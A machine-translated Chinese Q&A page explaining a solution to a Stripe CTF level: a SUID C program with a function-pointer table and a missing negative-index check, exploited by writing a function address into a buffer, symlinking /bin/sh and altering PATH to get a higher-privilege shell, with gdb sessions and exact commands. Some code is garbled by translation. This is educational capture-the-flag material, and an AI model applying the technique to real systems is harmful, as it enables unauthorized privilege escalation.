c-创建到内存地址的符号链接.(剧透:条纹CTF比赛)



所以我试图参加Stripe CTF比赛,但我对安全一无所知,所以当我陷入困境时,我查找了问题3。我仍然不明白它是如何工作的。黑客攻击的目标是通过使用设置了SUID位的应用程序访问不同用户的文件中的密码。以下是应用程序的(简化)代码:

#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)
int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '';
  return fns[index](buf);
}
int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
  if (argc != 3) {
    exit(-1);
  }
  // Parse supplied index
  index = atoi(argv[1]);
  if (index >= NUM_FNS) {
    exit(-1);
  }
  return truncate_and_call(fns, index, argv[2]);
}

这是我找到的一个解决方案:http://pastebin.com/VJ4xpawq

我很困惑为什么这样做。如果我用类似的东西运行代码/level3-28"echo foo;"我得到一个分段错误。此外,为什么在他的printf函数中内存地址颠倒了????

我迷路了,想学习。提前谢谢。:)

此代码的目标是执行

system("/bin/sh");

由于可执行文件的UID为"level04",因此它派生的shell的UID也将为"level04"。

这可以通过运行"弃用"的run函数来完成:

run("/bin/sh");

我们注意到,在函数truncate_and_call中,我们将调用一个函数,该函数由用户输入选择:

return fns[index](buf);

因此,我们尝试创建一个内存位置并组成一个index,这样fns[index] == &run

检查index的边界

  if (index >= NUM_FNS) {
    exit(-1);
  }

这意味着我们提供的恶意index必须小于4,但可能是负数!因此,我们的目标变成:

  1. fns之前查找可写的内存位置
  2. &run的内存地址写入
  3. buf指定为启动shell的对象

为了检查地址,我们在gdb内部运行程序,并在truncate_and_call:中断

$ gdb --quiet --args a.out 1 something
Reading symbols from ~/a.out...done.
(gdb) b truncate_and_call
Breakpoint 1 at 0x80484c5: file 3.c, line 21.
(gdb) r
Starting program: ~/a.out 1 something
Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
21    strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) list
16  
17  int truncate_and_call(fn_ptr *fns, int index, char *user_string)
18  {
19    char buf[64];
20    // Truncate supplied string
21    strncpy(buf, user_string, sizeof(buf) - 1);
22    buf[sizeof(buf) - 1] = '';
23    return fns[index](buf);
24  }
25  

注意,这里还有一个局部变量buf,它是:

(gdb)p&buf$2=(char(*)[64])0xffbffa00

具有在CCD_ 15之前的地址。因此,完成了步骤1。我们只需要检查index,它是

(gdb)p(0xffbffa6c-0xffbffa00)/4#4==大小(*fns)$4=27

因此,下一个问题是如何将&run的存储位置写入buf。这很容易,因为buf只是函数的第二个自变量user_stringstrcpy。检查run的地址是否为

(gdb)运行$5=(int(*)(const char*))0x80484ac

小端序系统中,此地址被编码为字符串"xACx84x04x08"。此字符串可以使用printf命令或$'...':从shell获得

$ echo `printf "xacx84x04x08"`
��
$ echo $'xacx84x04x08'
��

所以,最后一步是让它启动shell。因为如果我们将"xacx84x04x08"分配给buf,那么实际称为

run("xacx84x04x08");

但我们想要的是"/bin/sh",而不是"xacx84x04x08"!通过将/bin/sh链接到名为"xacx84x04x08"的文件,并将该文件的目录添加到$PATH:,可以很容易地解决此问题

$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'xacx84x04x08'
$ $'xacx84x04x08'
sh-4.2$ whoami
level03

因此,整个解决方案是:

$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'xacx84x04x08'
$ /levels/level03 -27 $'xacx84x04x08'
sh-4.2$ whoami
level04

(注意:数字有点不同,因为我在我的机器上运行它们,而不是Stripe的。)


此外,您在./level03 -28 "echo foo;"中会得到一个segfault,因为它会将要运行的地址解释为0x6f686365(4字节"echo"的ASCII代码),这是一个无效地址。

1)fns[-28]指向buf 的地址

2) 我们想执行在0x804875b 上运行的函数

3) 因此,我们将-28作为argv[1]传递,并将run的地址作为argv[2]传递

4) 索引的值为-28

5) argv[2]被复制到buf

6) 因此,现在当在truncate_and_call中调用fns[-28](buf)时,它执行函数"run"

7) 当run执行时,其参数"str"的值将是buf-的值

8) 所以我们取buf的值,并将其符号链接到/bin/sh和

9) 将我们当前的目录放在路径path=$PWD:$path中-通过将$PWD放在第一位,我们确保我们当前的路径首先被查找到

10) 现在,当"system"在run命令中执行时,它将在路径中查找名称与buf值相同的文件。

11) 由于我们已经将其符号链接到/bin/sh,因此我们会得到shell提示

使用./level03 -28,您最终会执行以下操作:

 return fns[index](buf);

其中索引为-28。这是无效的,可能会导致segfault。除了验证index >= NUM_FNS 之外,代码还应该验证索引不小于零

内存地址是颠倒的,因为它在小端序机器上运行,其中最低有效字节首先存储在整数和指针中。

最新更新